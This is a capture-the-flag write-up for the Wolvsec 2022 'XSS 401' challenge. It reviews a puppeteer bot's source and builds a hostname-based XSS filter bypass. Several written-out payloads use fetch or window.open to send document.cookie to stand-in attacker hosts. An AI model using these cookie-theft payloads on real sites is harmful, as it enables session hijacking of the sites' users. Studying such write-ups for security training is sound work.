Tags: xss 

Rating: 5.0

# Web: XSS 401


`The goal of the challenge is to get xss and steal admin bot's cookie`

## Website


There is not much of a content. We can enter the url for bot to visit.

## Source code review

const express = require('express')
const puppeteer = require('puppeteer')
const escape = require('escape-html')

const app = express()
const port = 80

app.use(express.static(__dirname + '/webapp'))

const visitUrl = async (url, cookieDomain) => {
// Chrome generates this error inside our docker container when starting up.
// However, it seems to run ok anyway.
// [0105/011035.292928:ERROR:gpu_init.cc(457)] Passthrough is not supported, GL is disabled, ANGLE is

let browser =
await puppeteer.launch({
headless: true,
pipe: true,
dumpio: true,
ignoreHTTPSErrors: true,

// headless chrome in docker is not a picnic
args: [

try {
const ctx = await browser.createIncognitoBrowserContext()
const page = await ctx.newPage()

try {
await page.setCookie({
name: 'flag',
value: process.env.FLAG,
domain: cookieDomain,
httpOnly: false,
samesite: 'strict'
await page.goto(url, { timeout: 6000, waitUntil: 'networkidle2' })
} finally {
await page.close()
await ctx.close()
finally {

app.get('/visit', async (req, res) => {
const url = req.query.url
console.log('received url: ', url)

let parsedURL
try {
parsedURL = new URL(url)
catch (e) {

if (parsedURL.protocol !== 'http:' && parsedURL.protocol != 'https:') {
res.send('Please provide a URL with the http or https protocol.')

if (parsedURL.hostname !== req.hostname) {
res.send(`Please provide a URL with a hostname of: ${escape(req.hostname)}, your parsed hostname was: escape(${parsedURL.hostname})`)

try {
console.log('visiting url: ', url)
await visitUrl(url, req.hostname)
res.send('Our admin bot has visited your URL!')
} catch (e) {
console.log('error visiting: ', url, ', ', e.message)
res.send('Error visiting your URL: ' + escape(e.message))
} finally {
console.log('done visiting url: ', url)


app.listen(port, async () => {
console.log(`Listening on ${port}`)

Simple puppeter setup. Our flag is in the bot's cookie

if (parsedURL.hostname !== req.hostname) {
res.send(`Please provide a URL with a hostname of: ${escape(req.hostname)}, your parsed hostname was: escape(${parsedURL.hostname})`)

This line stands out. Looks like there is no escaping from our url hostname.

parsedURL = new URL(url)
The hostname is parsed by URL() function. Based on that I created payload to check if we can inject any html at first.


It worked. Next step is to get xss. That will be harder, since we cannot use spaces and slashes. Otherwise, the URL function will return an error when it encounters spaces and slice our payload to path not to the hostname when encounters slash. I searched for `XSS paylaod without spaces` and found this useful [post on stackexchange](https://security.stackexchange.com/questions/47684/what-is-a-good-xss-vector-without-forward-slashes-and-spaces) which uses %0c form feed character


It worked again. Next step is to fetch our private web server and add a cookie to the request. Normal payload would look like this `http://<svg%0conload=fetch('http://attacker.com'+document.cookie)` but URL function crashes when it sees next http wrapper.

We need to find a way to encode http wrapper into the fetch function. This one is a tricky part. Any type of encoding such as hex, octal won't work. URL function will decode that. The next problem is that the hostname is being converted to lowercase, which eliminates half of js built-in functions.

## Solution

There are plenty of solutions to that problem. I chose one of the most difficult. I decided to use atob() function which decodes base64 encoding. Since I couldn't use uppercase letters I had to find base64 code for each character `:, /` made up of lowercase only.

* `atob('azo=')` -> `k:`
* `atob('ey8=')` -> `{/`

We can add slice(1) to each atob() function to get only the chars we want.

Final payload:

Steps to reproduce:
* enter the payload to url form for bot to visit
* copy the url of site where js pops off
* enter copied url into url form for bot to visit once again


Other `http://` wrapper bypasses by other users:
* `window.location.protocol` -> `https://`
* `''.italics().at(4)` -> `/`
* `:` -> `:`
* `/` -> `/`
* `eval(location.hash.slice(1))%3E#window.open('http://atacker.com'.concat(document.cookie))` -> get the payload from http reference `#`

## Flag: wsc{wh0_kn3w_d0m41n_x55_w4s_4_th1n6}

Original writeup (https://github.com/Dom0nS/ctf/blob/main/CTF_writeups/Wolvsec-ctf-2022/web_xss_401.md).